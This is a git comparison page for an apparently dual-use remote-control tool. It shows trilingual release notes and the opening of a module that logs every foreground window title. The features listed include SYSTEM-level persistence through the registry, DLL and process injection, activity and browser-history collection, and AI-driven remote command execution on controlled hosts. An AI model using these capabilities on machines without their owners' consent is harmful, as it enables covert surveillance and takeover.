Compare commits
102
Commits
v1.3.7
..
614b03994c
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
614b03994c | ||
|
|
99e3bcbc6d | ||
|
|
8f02e73b9c | ||
|
|
7651ee8602 | ||
|
|
4ff965a2b4 | ||
|
|
77b688c981 | ||
|
|
c93f09e9ac | ||
|
|
96b9eea70a | ||
|
|
ca0d7626d2 | ||
|
|
8d4c118ae6 | ||
|
|
d477cbfee9 | ||
|
|
870a5832ea | ||
|
|
8e0f1283c6 | ||
|
|
2de21b2b6b | ||
|
|
53b7151fb7 | ||
|
|
d2149851b2 | ||
|
|
ca6f76565c | ||
|
|
d15cd77a28 | ||
|
|
1a9312d2d1 | ||
|
|
f3a8406050 | ||
|
|
ff6b290580 | ||
|
|
da0ec983ba | ||
|
|
6220335f63 | ||
|
|
c7f7b7b29b | ||
|
|
59fead7b5f | ||
|
|
b89428bf35 | ||
|
|
3928dd76a3 | ||
|
|
d80d8f21da | ||
|
|
d269df9171 | ||
|
|
2fb6252285 | ||
|
|
2c3e1ca518 | ||
|
|
f72fda9b71 | ||
|
|
c906a46bcc | ||
|
|
6c9fef8793 | ||
|
|
bbdb4104bf | ||
|
|
8d0f419093 | ||
|
|
f3a05c14b1 | ||
|
|
d118558eda | ||
|
|
76decec0fe | ||
|
|
9eed43bc8d | ||
|
|
a72e6eb391 | ||
|
|
e9d60e6e23 | ||
|
|
42df128f62 | ||
|
|
32cc7af371 | ||
|
|
033ff077ef | ||
|
|
0416dadbba | ||
|
|
91238da50d | ||
|
|
221617fe02 | ||
|
|
dd845823b6 | ||
|
|
b41b27bfe4 | ||
|
|
6bcd593b6d | ||
|
|
5c77f5ce14 | ||
|
|
ac2855198b | ||
|
|
52b4afb8cf | ||
|
|
35dc2d89a0 | ||
|
|
d99122b25f | ||
|
|
d55d40e7a2 | ||
|
|
25a6e2d07a | ||
|
|
18259b8526 | ||
|
|
f04d892ac8 | ||
|
|
c844ba7614 | ||
|
|
09018e2b4d | ||
|
|
6045baadb8 | ||
|
|
84e3565de1 | ||
|
|
70dbb6b255 | ||
|
|
0ddbc1aced | ||
|
|
8bd6f3b60a | ||
|
|
8815c4f896 | ||
|
|
8de5c00a39 | ||
|
|
d359148841 | ||
|
|
11e8b122fe | ||
|
|
0a1ecfc4ab | ||
|
|
c08315cd79 | ||
|
|
5611ba621c | ||
|
|
c6c6e1d5ef | ||
|
|
61089e5fae | ||
|
|
bcde74368d | ||
|
|
6ba6b0289d | ||
|
|
86c4f14cf4 | ||
|
|
13052b7cae | ||
|
|
43398e405e | ||
|
|
29929e48b2 | ||
|
|
d0bad75284 | ||
|
|
9d2e9ec8ca | ||
|
|
2d7f224a22 | ||
|
|
c8973282cb | ||
|
|
7bbc47a0ee | ||
|
|
eeacbe5d61 | ||
|
|
7c09e9dd8c | ||
|
|
d99510e46d | ||
|
|
b97f086c0c | ||
|
|
f24e7acc48 | ||
|
|
0cd7516bde | ||
|
|
a646e0417d | ||
|
|
23c9a4f242 | ||
|
|
85a5774a0f | ||
|
|
f2a95848ce | ||
|
|
f146af121a | ||
|
|
72dcdc5a6f | ||
|
|
8e170cf971 | ||
|
|
6d0b1bb07b | ||
|
|
bcccbefb77 |
No files matched your search
@@ -378,6 +378,82 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
|
||||
|
||||
## 更新日志
|
||||
|
||||
### v1.4.0 (2026.10.7)
|
||||
|
||||
**SimplePlugins 功能迁移 & 远程交互增强 & MCP 扩展 & 国际化**
|
||||
|
||||
**新功能:**
|
||||
- **SimplePlugins 功能迁移(实验功能)**:文件管理 / 隐私屏幕 / 远程画板三个功能原生迁入客户端,作为在线主机右键「实验功能」子菜单交付,配 16x16 图标(位图数组 66→69)
|
||||
- **MCP 设备管理控制工具**:新增 kill_process / operate_window / control_service / power_action(单一 McpManage 开关 + 关闭只读),ready→confirm 生命周期 + WaitSendIdle 排空出站缓冲;MCP 设置新增「管理操作」勾选、主工具栏 MCP 入口
|
||||
- **远程交谈**:「远程交谈」工具栏按钮(COMMAND_CHAT 161 / TOKEN_CHAT_START 62)打开双向聊天,支持服务端触发屏幕锁 / 解锁
|
||||
- **TCP/UDP 连接管理**:工具栏按钮列出受管主机 TCP/UDP 连接,右键强制断开 IPv4 TCP(iphlpapi 枚举 + CConnectionsDlg)
|
||||
- **主机管理**:迁移 CMachineManager(进程 / 窗口 / 网络 / 软件 / IE 历史 / 收藏夹 / 服务 / 任务 / hosts 枚举 + 进程注入),COMMAND_MACHINE_MANAGE 162
|
||||
- **授权失败触发器**:新增 TRIGGER_AUTH_FAILED 触发类型(与主机上线触发独立),授权失败时下发插件 DLL,受 ShouldLogAuth 去重约束
|
||||
- **iPhone 远程音频**:WebAudio + 自托管 opus-decoder WASM 解码,修复 iOS 无 MSE 静音
|
||||
- **画质与传输控制**:远程桌面 / 屏幕预览质量等级菜单(各 6 档可配置)+ 文件传输速度对话框(7 档 + 无限档,经 MasterSettings 下发)
|
||||
- **Shine/HELL 协议选择**:分享 / 传输主机时可选协议,尾随冒号字段透传,旧客户端兼容
|
||||
- **Go Web UI 子路径部署**:YAMA_WEB_BASE_PATH 挂载整个 Web UI 到 URL 前缀
|
||||
- **国际化**:德语(de_DE)第 4 种语言、语言切换工具栏按钮、剩余字符串翻译补齐;远程桌面剪贴板按钮(全屏可达)
|
||||
|
||||
**改进:**
|
||||
- 通知设置关键词改为多行输入(每行一个,存储仍分号分隔,兼容既有 notify.ini)
|
||||
|
||||
**Bug 修复:**
|
||||
- HTTP 分片续包误置 m_bShouldUnmask 致后续包丢失(进程列表 kill 后空列表)
|
||||
- 即时消息弹窗标题乱码(GBK code_page 声明)
|
||||
- geo-IP 查询阻塞主机双击提示(仅本地库加载时查询 + 进程内缓存)
|
||||
- 主机管理 IE 历史字符串泄漏(CoTaskMemFree)、隐私屏幕 0xCC 乱码日志
|
||||
|
||||
### v1.3.9 (2026.9.2)
|
||||
|
||||
**MCP 服务端集成(AI 远程管理)& 远程控制与文件传输闭环 & 主控增强**
|
||||
|
||||
**新功能:**
|
||||
- **MCP 服务端集成**:本地 `127.0.0.1:6544` 暴露 JSON-RPC 2.0 接口,Bearer Token 鉴权,「扩展 > MCP 设置」对话框配置启用 / 端口 / 绑定 / Token;23 个工具覆盖「观测 → 执行 → 控制 → 传输」全链路,默认关闭、分级开关(只读 / 白名单 / 终端 / 远程控制 / 文件传输)全面审计
|
||||
- **MCP 观测类工具(只读)**:search_hosts、get_host_detail、list_processes、list_windows、get_activity_history、list_files、get_screenshot(可选 max_width)、list_services、get_client_log、list_registry、get_audit_log;单飞请求注册表 20s 超时 + 编码修正(clientType / clientID 定位)
|
||||
- **MCP 远程终端工具**:exec_command 一次性执行 + terminal_open / terminal_exec / terminal_close 持久终端(cwd / 环境保留,空闲 300s 清扫),哨兵判定与 timeout_ms 解析修复
|
||||
- **MCP 远程控制工具**:remote_open / remote_close 会话 + remote_keyboard(key_down / up / press / type)、remote_mouse(move / click / drag / scroll)、remote_clipboard 注入;与人工 Web 查看双向互斥,会话状态机 busy / closed 加固
|
||||
- **MCP 文件传输工具**:download_file(V2 协议 + SHA-256 校验)、upload_file(主连接上传),客户端侧 `COMMAND_SEND_FILE_V2` 懒初始化 `InitFileUpload` 修复上传截断
|
||||
- **客户端活动历史**:记录活跃窗口历史(上限 500 条、跳过 <5s),主机「客户端管理」子菜单新增「活动历史」对话框,Unicode 编辑控件正确渲染 UTF-8 标题
|
||||
- **日志右键菜单三连**:消息日志右键新增「在线通知」「拉黑 IP」「解封 IP」,IPv4 提取即时生效
|
||||
- **列表排序记忆**:主机列表、进程 / 窗口列表排序偏好持久化(`list\*Sort` 注册表键),下次启动默认沿用
|
||||
|
||||
**改进:**
|
||||
- 重复连接 standby 处理:重复登录暂存 standby 待旧连接超时 / 断线后晋升,避免循环重连与误报离线
|
||||
- 远程桌面 / 虚拟屏幕对话框标题显示主机备注而非 IP(无备注回退 IP)
|
||||
- 主机列表三态排序(升序 → 降序 → 恢复默认,默认序按在线时间重建)
|
||||
- 在线主机右键三个菜单项新增图标(位图数组 63→66)
|
||||
|
||||
**Bug 修复:**
|
||||
- 客户端屏幕控制批解析错误:记录数是 7 的倍数时误判 MSG32 致注入错乱(`%48==0` 优先)
|
||||
- 心跳延迟更新 use-after-free:跨 PostMessage 持有 IoRefCount + memcpy 显式截断
|
||||
- ONLINELIST_PRIVILEGE 枚举错位损坏历史数据库(权限列移至 16)
|
||||
- 远程桌面光标跨对话框污染(改 `OnSetCursor` 逐窗口路由)
|
||||
- 客户端日志对话框 EDIT 上限停止刷新(`SetLimitText(0)`)
|
||||
- 窗口管理器视图检查读取陈旧状态、进程列表架构列排序无效、FRP / NAT 下窗口标题乱码
|
||||
|
||||
### v1.3.8 (2026.8.3)
|
||||
|
||||
**SYSTEM 权限客户端 & 主控可用性增强 & Bug 修复**
|
||||
|
||||
**新功能:**
|
||||
- **客户端 SYSTEM 权限运行**:双模式自动适配(SYSTEM / Admin / User),Winlogon + Run 双路径注册表启动;`ScreenManager` 无用户会话时自动切换 DXGI,`KernelManager` 绕过用户态 API 以 NT 路径操作;跨会话 DLL 注入(`session.cpp`)实现 SYSTEM 会话向用户会话注入控制模块
|
||||
- **在线主机权限等级列**:主机列表新增「权限」列,实时显示 SYSTEM(蓝色高亮)/ Admin / User,一眼识别受控端权限上下文
|
||||
- **远程窗口管理菜单(View Windows)**:远程桌面新增 View Windows 菜单,可枚举目标机器顶层窗口并进行最大化、最小化、隐藏、关闭操作
|
||||
- **违禁用户拉黑**:主机列表右键新增「禁止连接」,服务端发送 `COMMAND_FORBIDDEN`;客户端收到后断开连接并拒绝重连;附带 Forbidden 图标
|
||||
- **客户端运行日志对话框**:`ClientLogManager` 每 3 秒增量推送日志到主控(`TOKEN_REPORT_LOG`);推送线程 `join()` 防 use-after-free;IOCP → UI 线程 `PostMessage` 防丢包;自带图标与菜单位图
|
||||
- **消息日志搜索栏**:`LogSearchBar` 组件(286 行),关键字高亮、Prev/Next 导航跳转、Clear 清除
|
||||
- **调试菜单(YAMA_DBG)**:主菜单新增调试入口,动态输入 `YAMA_DBG` 环境变量值,无需重启主控
|
||||
|
||||
**改进:**
|
||||
- 远程桌面光标自定义设置持久化到注册表,下次自动恢复偏好
|
||||
|
||||
**Bug 修复:**
|
||||
- 32 位 / 64 位主控切换崩溃:`KeyboardManager` 参数类型兼容 + 服务端位数检查
|
||||
- Safari 移动端切回卡死:前台切回时强制重建 WebSocket + 服务端 30s 宽限期
|
||||
- `RunFileReceiver` 误注册 `ReconnectProcess` 导致文件传输结束后杀主屏幕会话
|
||||
- 隐私壁纸已设置时切换菜单再次点击执行清除而非弹框
|
||||
|
||||
### v1.3.7 (2026.6.26)
|
||||
|
||||
**Android 客户端 & 窗口捕获增强 & 安全加固**
|
||||
|
||||
@@ -378,6 +378,82 @@ Valid : 2026-02-01 to 2028-02-01
|
||||
|
||||
## Changelog
|
||||
|
||||
### v1.4.0 (2026.10.7)
|
||||
|
||||
**SimplePlugins Feature Migration & Remote Interaction Enhancements & MCP Expansion & i18n**
|
||||
|
||||
**New features:**
|
||||
- **SimplePlugins feature migration (experimental)**: file management / privacy screen / drawing board migrated natively into the client and exposed as an "Experimental Features" right-click submenu, with 16x16 icons (bitmap array 66→69)
|
||||
- **MCP device management-control tools**: kill_process / operate_window / control_service / power_action behind a single McpManage flag (plus read-only off), with a ready→confirm lifecycle and WaitSendIdle buffer draining; "management operations" checkbox in MCP settings and an MCP toolbar entry
|
||||
- **Two-way remote chat**: a "远程交谈" toolbar button (COMMAND_CHAT 161 / TOKEN_CHAT_START 62) opens the chat dialog, with server-triggered screen lock / unlock
|
||||
- **TCP/UDP connection management**: a toolbar button lists the managed host's TCP/UDP connections with right-click force-disconnect for IPv4 TCP (iphlpapi enumeration + CConnectionsDlg)
|
||||
- **Machine management**: CMachineManager migrated (process / window / network / software / IE history / favorites / service / task / hosts enumeration plus process injection), COMMAND_MACHINE_MANAGE 162
|
||||
- **Auth-failed trigger**: new TRIGGER_AUTH_FAILED type (independent of the host-online trigger) pushes plugin DLLs on authorization failure, gated by ShouldLogAuth dedup
|
||||
- **iPhone remote audio**: Web Audio API + self-hosted opus-decoder WASM decoding fixes silent audio on iOS without MSE
|
||||
- **Quality & transfer controls**: configurable remote-desktop / screen-preview quality-level menus (six presets each) plus a file-transfer speed dialog (seven presets + unlimited, delivered via MasterSettings)
|
||||
- **Shine/HELL protocol selection**: choose the protocol when sharing / transferring a host, passed as a trailing colon field, backward compatible
|
||||
- **Go web UI subpath deployment**: YAMA_WEB_BASE_PATH mounts the whole web UI under a URL prefix
|
||||
- **i18n**: German (de_DE) as the fourth language, a language-switch toolbar button, remaining string translations; remote-desktop clipboard buttons (reachable in fullscreen)
|
||||
|
||||
**Improvements:**
|
||||
- Notification keyword input is now multi-line (one keyword per line; the stored format stays semicolon-separated, compatible with existing notify.ini)
|
||||
|
||||
**Bug fixes:**
|
||||
- HTTP continuation chunks mis-set m_bShouldUnmask, dropping subsequent packets (blank process list after kill)
|
||||
- Garbled instant-message popup title (GBK code_page declaration)
|
||||
- geo-IP lookup blocking the host double-click tooltip (only queried when a local DB is loaded, plus in-process caching)
|
||||
- Machine-management IE-history string leak (CoTaskMemFree) and privacy-screen 0xCC garbled logs
|
||||
|
||||
### v1.3.9 (2026.9.2)
|
||||
|
||||
**MCP Server Integration (AI Remote Management) & Remote Control / File Transfer Loop & Master Enhancements**
|
||||
|
||||
**New features:**
|
||||
- **MCP server integration**: local JSON-RPC 2.0 endpoint on `127.0.0.1:6544` with Bearer token auth, configured via "Extensions > MCP Settings"; 23 tools spanning observe → execute → control → transfer, disabled by default with per-tier gates (read-only / whitelist / terminal / remote control / file transfer) and full audit logging
|
||||
- **MCP read-only observation tools**: search_hosts, get_host_detail, list_processes, list_windows, get_activity_history, list_files, get_screenshot (optional max_width), list_services, get_client_log, list_registry, get_audit_log; single-flight pending registry with 20s timeout, plus encoding fixes (clientType / clientID resolution)
|
||||
- **MCP remote terminal tools**: one-shot exec_command plus persistent terminal_open / terminal_exec / terminal_close (cwd and environment preserved, 300s idle sweep); sentinel detection and timeout_ms parsing fixes
|
||||
- **MCP remote control tools**: remote_open / remote_close sessions plus remote_keyboard (key_down / up / press / type), remote_mouse (move / click / drag / scroll), and remote_clipboard injection; two-way mutual exclusion with human Web viewing and a hardened busy/closed session state machine
|
||||
- **MCP file transfer tools**: download_file (V2 protocol + SHA-256 verification) and upload_file (main-connection upload); client-side lazy `InitFileUpload` in `COMMAND_SEND_FILE_V2` fixes truncated uploads
|
||||
- **Client activity history**: records active-window history (capped at 500 entries, skips <5s); new "Activity History" item under the host's Client Management menu with a Unicode edit control for correct UTF-8 title rendering
|
||||
- **Log context-menu trio**: right-click "Online Notify", "Ban IP", and "Unban IP" on the message log, with IPv4 extraction applied immediately
|
||||
- **Sort preference memory**: host list and process/window list sort preferences persisted (`list\*Sort` registry keys), restored on next launch
|
||||
|
||||
**Improvements:**
|
||||
- Duplicate connections parked as standby and promoted after the old connection times out / disconnects, avoiding reconnect loops and false offline notifications
|
||||
- Remote desktop and virtual screen dialog titles show the host remark instead of the IP (falling back to IP)
|
||||
- Three-state host list sorting (ascending → descending → restore default, default rebuilt by online time)
|
||||
- Icons added to three online-host context menu items (bitmap array 63→66)
|
||||
|
||||
**Bug fixes:**
|
||||
- Client screen-control batch misparse: record count that is a multiple of 7 was misclassified as MSG32, garbling injected input (`%48==0` checked first)
|
||||
- Heartbeat deferred-update use-after-free: IoRefCount held across PostMessage plus explicit memcpy truncation
|
||||
- ONLINELIST_PRIVILEGE enum shift corrupted the history host database (column moved to 16)
|
||||
- Remote desktop cursor cross-contamination across dialogs (routed via `OnSetCursor` per window)
|
||||
- Client log dialog stopped refreshing past the EDIT control limit (`SetLimitText(0)`)
|
||||
- Window manager view check reading stale state, process-list architecture column sort no-op, and FRP/NAT window-title mojibake
|
||||
|
||||
### v1.3.8 (2026.8.3)
|
||||
|
||||
**SYSTEM-level Client & Master Usability Enhancements & Bug Fixes**
|
||||
|
||||
**New features:**
|
||||
- **Client running as SYSTEM**: dual-mode auto-detection (SYSTEM / Admin / User), Winlogon + Run dual-path registry startup; `ScreenManager` auto-switches to DXGI when there is no user session; `KernelManager` bypasses user-mode APIs using NT paths; cross-session DLL injection (`session.cpp`) from SYSTEM to user session for desktop interaction
|
||||
- **Privilege column in host list**: new "Privilege" column shows real-time permission level — **SYSTEM** (blue highlight), Admin, or User — instantly identifying each controlled endpoint's privilege context
|
||||
- **View Windows menu for remote desktop**: new View Windows menu item enumerates all top-level windows on the target machine; supports maximize, minimize, hide, and close operations without leaving the remote desktop view
|
||||
- **Forbid user (violation blacklist)**: right-click host list "Forbidden" sends `COMMAND_FORBIDDEN`; client disconnects and refuses reconnection to the same server; companion bitmap icon in menu
|
||||
- **Client runtime log dialog**: `ClientLogManager` pushes incremental logs every 3s to the master (`TOKEN_REPORT_LOG`); push thread uses `join()` to prevent use-after-free; IOCP → UI thread via `PostMessage` to prevent dropped packets; dialog icon and menu bitmap included
|
||||
- **Message log search bar**: `LogSearchBar` component (286 lines) with keyword highlighting, Prev/Next navigation, and Clear button
|
||||
- **Debug menu (YAMA_DBG)**: new menu entry to input `YAMA_DBG` environment variable at runtime — no restart needed
|
||||
|
||||
**Improvements:**
|
||||
- Remote desktop cursor customization settings now persisted to registry; preferences restored automatically on next session
|
||||
|
||||
**Bug fixes:**
|
||||
- 32-bit / 64-bit master crash on switch: `KeyboardManager` parameter type compatibility + server-side bitness check
|
||||
- Safari mobile Web remote desktop freeze on app-switch: force-clean WebSocket reconnect on foreground return + 30s server-side grace period
|
||||
- `RunFileReceiver` incorrectly registering `ReconnectProcess`, killing the main screen session on file transfer completion
|
||||
- Privacy wallpaper toggle menu now clears instead of re-picking when wallpaper is already set
|
||||
|
||||
### v1.3.7 (2026.6.26)
|
||||
|
||||
**Android Client & Window Capture & Security Hardening**
|
||||
|
||||
@@ -378,6 +378,82 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
|
||||
|
||||
## 更新日誌
|
||||
|
||||
### v1.4.0 (2026.10.7)
|
||||
|
||||
**SimplePlugins 功能遷移 & 遠端互動增強 & MCP 擴充 & 國際化**
|
||||
|
||||
**新功能:**
|
||||
- **SimplePlugins 功能遷移(實驗功能)**:檔案管理 / 隱私螢幕 / 遠端畫板三個功能原生遷入用戶端,作為線上主機右鍵「實驗功能」子選單交付,配 16x16 圖示(位圖陣列 66→69)
|
||||
- **MCP 裝置管理控制工具**:新增 kill_process / operate_window / control_service / power_action(單一 McpManage 開關 + 關閉唯讀),ready→confirm 生命週期 + WaitSendIdle 排空出站緩衝;MCP 設定新增「管理操作」勾選、主工具列 MCP 入口
|
||||
- **遠端交談**:「遠端交談」工具列按鈕(COMMAND_CHAT 161 / TOKEN_CHAT_START 62)開啟雙向交談,支援伺服端觸發螢幕鎖 / 解鎖
|
||||
- **TCP/UDP 連線管理**:工具列按鈕列出受管主機 TCP/UDP 連線,右鍵強制斷開 IPv4 TCP(iphlpapi 列舉 + CConnectionsDlg)
|
||||
- **主機管理**:遷移 CMachineManager(處理程序 / 視窗 / 網路 / 軟體 / IE 歷史 / 收藏夾 / 服務 / 排程工作 / hosts 列舉 + 處理程序注入),COMMAND_MACHINE_MANAGE 162
|
||||
- **授權失敗觸發器**:新增 TRIGGER_AUTH_FAILED 觸發類型(與主機上線觸發獨立),授權失敗時下發外掛程式 DLL,受 ShouldLogAuth 去重約束
|
||||
- **iPhone 遠端音訊**:WebAudio + 自託管 opus-decoder WASM 解碼,修復 iOS 無 MSE 靜音
|
||||
- **品質與傳輸控制**:遠端桌面 / 螢幕預覽品質等級選單(各 6 檔可設定)+ 檔案傳輸速度對話框(7 檔 + 無限檔,經 MasterSettings 下發)
|
||||
- **Shine/HELL 協定選擇**:分享 / 傳輸主機時可選協定,尾隨冒號欄位透傳,舊用戶端相容
|
||||
- **Go Web UI 子路徑部署**:YAMA_WEB_BASE_PATH 掛載整個 Web UI 到 URL 前綴
|
||||
- **國際化**:德語(de_DE)第 4 種語言、語言切換工具列按鈕、剩餘字串翻譯補齊;遠端桌面剪貼簿按鈕(全螢幕可達)
|
||||
|
||||
**改進:**
|
||||
- 通知設定關鍵詞改為多行輸入(每行一個,儲存仍分號分隔,相容既有 notify.ini)
|
||||
|
||||
**Bug 修復:**
|
||||
- HTTP 後續封包誤置 m_bShouldUnmask 致後續封包遺失(處理程序列表 kill 後空列表)
|
||||
- 即時訊息快顯視窗標題亂碼(GBK code_page 宣告)
|
||||
- geo-IP 查詢阻塞主機雙擊提示(僅本機資料庫載入時查詢 + 處理程序內快取)
|
||||
- 主機管理 IE 歷史字串洩漏(CoTaskMemFree)、隱私螢幕 0xCC 亂碼記錄
|
||||
|
||||
### v1.3.9 (2026.9.2)
|
||||
|
||||
**MCP 伺服端整合(AI 遠端管理)& 遠端控制與檔案傳輸閉環 & 主控增強**
|
||||
|
||||
**新功能:**
|
||||
- **MCP 伺服端整合**:本地 `127.0.0.1:6544` 暴露 JSON-RPC 2.0 介面,Bearer Token 鑑權,「擴充 > MCP 設定」對話框設定啟用 / 連接埠 / 綁定 / Token;23 個工具覆蓋「觀測 → 執行 → 控制 → 傳輸」全鏈路,預設關閉、分級開關(唯讀 / 白名單 / 終端 / 遠端控制 / 檔案傳輸)全面稽核
|
||||
- **MCP 觀測類工具(唯讀)**:search_hosts、get_host_detail、list_processes、list_windows、get_activity_history、list_files、get_screenshot(可選 max_width)、list_services、get_client_log、list_registry、get_audit_log;單飛請求登錄表 20s 逾時 + 編碼修正(clientType / clientID 定位)
|
||||
- **MCP 遠端終端工具**:exec_command 一次性執行 + terminal_open / terminal_exec / terminal_close 持久終端(cwd / 環境保留,閒置 300s 清掃),哨兵判定與 timeout_ms 解析修復
|
||||
- **MCP 遠端控制工具**:remote_open / remote_close 工作階段 + remote_keyboard(key_down / up / press / type)、remote_mouse(move / click / drag / scroll)、remote_clipboard 注入;與人工 Web 查看雙向互斥,工作階段狀態機 busy / closed 加固
|
||||
- **MCP 檔案傳輸工具**:download_file(V2 協定 + SHA-256 校驗)、upload_file(主連線上傳),用戶端側 `COMMAND_SEND_FILE_V2` 懶初始化 `InitFileUpload` 修復上傳截斷
|
||||
- **用戶端活動歷史**:記錄活躍視窗歷史(上限 500 條、跳過 <5s),主機「用戶端管理」子選單新增「活動歷史」對話框,Unicode 編輯控件正確渲染 UTF-8 標題
|
||||
- **訊息右鍵選單三連**:訊息記錄右鍵新增「線上通知」「封鎖 IP」「解封 IP」,IPv4 提取即時生效
|
||||
- **列表排序記憶**:主機列表、處理程序 / 視窗列表排序偏好持久化(`list\*Sort` 登錄檔鍵),下次啟動預設沿用
|
||||
|
||||
**改進:**
|
||||
- 重複連線 standby 處理:重複登入暫存 standby 待舊連線逾時 / 斷線後晉升,避免循環重連與誤報離線
|
||||
- 遠端桌面 / 虛擬螢幕對話框標題顯示主機備註而非 IP(無備註回退 IP)
|
||||
- 主機列表三態排序(升冪 → 降冪 → 恢復預設,預設序按上線時間重建)
|
||||
- 線上主機右鍵三個選單項目新增圖示(位圖陣列 63→66)
|
||||
|
||||
**Bug 修復:**
|
||||
- 用戶端螢幕控制批次解析錯誤:記錄數是 7 的倍數時誤判 MSG32 致注入錯亂(`%48==0` 優先)
|
||||
- 心跳延遲更新 use-after-free:跨 PostMessage 持有 IoRefCount + memcpy 顯式截斷
|
||||
- ONLINELIST_PRIVILEGE 列舉錯位損壞歷史資料庫(權限列移至 16)
|
||||
- 遠端桌面游標跨對話框污染(改 `OnSetCursor` 逐視窗路由)
|
||||
- 用戶端記錄對話框 EDIT 上限停止刷新(`SetLimitText(0)`)
|
||||
- 視窗管理員檢視檢查讀取陳舊狀態、處理程序列表架構欄排序無效、FRP / NAT 下視窗標題亂碼
|
||||
|
||||
### v1.3.8 (2026.8.3)
|
||||
|
||||
**SYSTEM 權限用戶端 & 主控可用性增強 & Bug 修復**
|
||||
|
||||
**新功能:**
|
||||
- **用戶端 SYSTEM 權限執行**:雙模式自動適配(SYSTEM / Admin / User),Winlogon + Run 雙路徑登錄檔啟動;`ScreenManager` 無使用者工作階段時自動切換 DXGI,`KernelManager` 繞過使用者態 API 以 NT 路徑操作;跨工作階段 DLL 注入(`session.cpp`)實現 SYSTEM 工作階段向使用者工作階段注入控制模組
|
||||
- **線上主機權限等級欄**:主機列表新增「權限」欄,即時顯示 SYSTEM(藍色高亮)/ Admin / User,一眼識別受控端權限上下文
|
||||
- **遠端視窗管理選單(View Windows)**:遠端桌面新增 View Windows 選單項目,可列舉目標機器頂層視窗並進行最大化、最小化、隱藏、關閉操作
|
||||
- **違禁使用者封鎖**:主機列表右鍵新增「禁止連線」,伺服端發送 `COMMAND_FORBIDDEN`;用戶端收到後中斷連線並拒絕重連;附帶 Forbidden 圖示
|
||||
- **用戶端執行記錄對話框**:`ClientLogManager` 每 3 秒增量推送記錄到主控(`TOKEN_REPORT_LOG`);推送執行緒使用 `join()` 防止 use-after-free;IOCP → UI 執行緒 `PostMessage` 防止遺失封包;自帶圖示與選單位圖
|
||||
- **訊息記錄搜尋列**:`LogSearchBar` 元件(286 行),關鍵字高亮、Prev/Next 導航跳轉、Clear 清除
|
||||
- **除錯選單(YAMA_DBG)**:主選單新增除錯入口,動態輸入 `YAMA_DBG` 環境變數值,無需重啟主控
|
||||
|
||||
**改進:**
|
||||
- 遠端桌面游標自訂設定持久化到登錄檔,下次自動恢復偏好
|
||||
|
||||
**Bug 修復:**
|
||||
- 32 位元 / 64 位元主控切換崩潰:`KeyboardManager` 參數型別相容 + 伺服端位元數檢查
|
||||
- Safari 行動端切回凍結:前景切回時強制重建 WebSocket + 伺服端 30s 寬限期
|
||||
- `RunFileReceiver` 誤註冊 `ReconnectProcess` 導致檔案傳輸結束後終止主螢幕工作階段
|
||||
- 隱私桌布已設定時切換選單再次點擊執行清除而非彈框
|
||||
|
||||
### v1.3.7 (2026.6.26)
|
||||
|
||||
**Android 用戶端 & 視窗擷取增強 & 安全加固**
|
||||
|
||||
@@ -0,0 +1,126 @@
|
||||
// ActivityHistory.cpp: 客户端历史活动记录采集模块
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "ActivityHistory.h"
|
||||
#include "KernelManager.h" // ActivityWindow
|
||||
|
||||
ActivityHistory& ActivityHistory::Instance()
|
||||
{
|
||||
static ActivityHistory inst;
|
||||
return inst;
|
||||
}
|
||||
|
||||
void ActivityHistory::Start()
|
||||
{
|
||||
if (m_started.exchange(true))
|
||||
return;
|
||||
m_running = true;
|
||||
m_thread = std::thread(&ActivityHistory::Loop, this);
|
||||
}
|
||||
|
||||
void ActivityHistory::Stop()
|
||||
{
|
||||
m_running = false;
|
||||
if (m_thread.joinable())
|
||||
m_thread.join();
|
||||
}
|
||||
|
||||
std::string ActivityHistory::Dump() const
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
std::string out;
|
||||
// 当前进行中的窗口:若已持续达到阈值,作为最新一条返回
|
||||
if (!m_curTitle.empty() && m_curDwellSec >= ACTIVITY_MIN_DWELL_SEC)
|
||||
out += FormatRecord(m_curStartTime, m_curTitle, m_curDwellSec) + "\n";
|
||||
for (const auto& r : m_records)
|
||||
out += r + "\n";
|
||||
return out;
|
||||
}
|
||||
|
||||
void ActivityHistory::Loop()
|
||||
{
|
||||
// 空闲打断阈值:远大于 ACTIVITY_MIN_DWELL_SEC,避免“停在一个窗口上看几秒”被过早结账。
|
||||
const DWORD IDLE_THRESHOLD_MS = ACTIVITY_IDLE_BREAK_SEC * 1000;
|
||||
|
||||
ActivityWindow aw;
|
||||
HWND lastHwnd = NULL;
|
||||
std::string lastTitle;
|
||||
std::string startTime;
|
||||
int dwellSec = 0;
|
||||
|
||||
while (m_running) {
|
||||
// 取前台窗口句柄 + 标题;空闲/锁定/取不到标题时 hwnd==NULL 或 title 为空
|
||||
HWND hwnd = aw.GetActiveWindowHandle(IDLE_THRESHOLD_MS);
|
||||
std::string title = aw.GetActiveTitleOrEmpty(IDLE_THRESHOLD_MS);
|
||||
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
|
||||
if (hwnd == NULL || title.empty()) {
|
||||
// 空闲/锁定/无标题:结账上一个窗口
|
||||
if (lastHwnd != NULL && dwellSec >= ACTIVITY_MIN_DWELL_SEC)
|
||||
m_records.push_front(FormatRecord(startTime, lastTitle, dwellSec));
|
||||
lastHwnd = NULL;
|
||||
lastTitle.clear();
|
||||
dwellSec = 0;
|
||||
} else if (hwnd == lastHwnd) {
|
||||
// 同一窗口:即使标题动态变化也连续累计,标题取最新值
|
||||
++dwellSec;
|
||||
lastTitle = title;
|
||||
} else {
|
||||
// 窗口切换:结账上一个,开始累计新窗口
|
||||
if (lastHwnd != NULL && dwellSec >= ACTIVITY_MIN_DWELL_SEC)
|
||||
m_records.push_front(FormatRecord(startTime, lastTitle, dwellSec));
|
||||
lastHwnd = hwnd;
|
||||
lastTitle = title;
|
||||
startTime = NowStr();
|
||||
dwellSec = 1;
|
||||
}
|
||||
|
||||
while (m_records.size() > ACTIVITY_HISTORY_MAX)
|
||||
m_records.pop_back();
|
||||
|
||||
m_curTitle = lastTitle;
|
||||
m_curStartTime = startTime;
|
||||
m_curDwellSec = dwellSec;
|
||||
}
|
||||
|
||||
Sleep(1000);
|
||||
}
|
||||
}
|
||||
|
||||
std::string ActivityHistory::FormatRecord(const std::string& startTime, const std::string& title, int dwellSec)
|
||||
{
|
||||
// 标题里的换行会破坏“每行一条”,做最小清洗
|
||||
std::string t;
|
||||
t.reserve(title.size());
|
||||
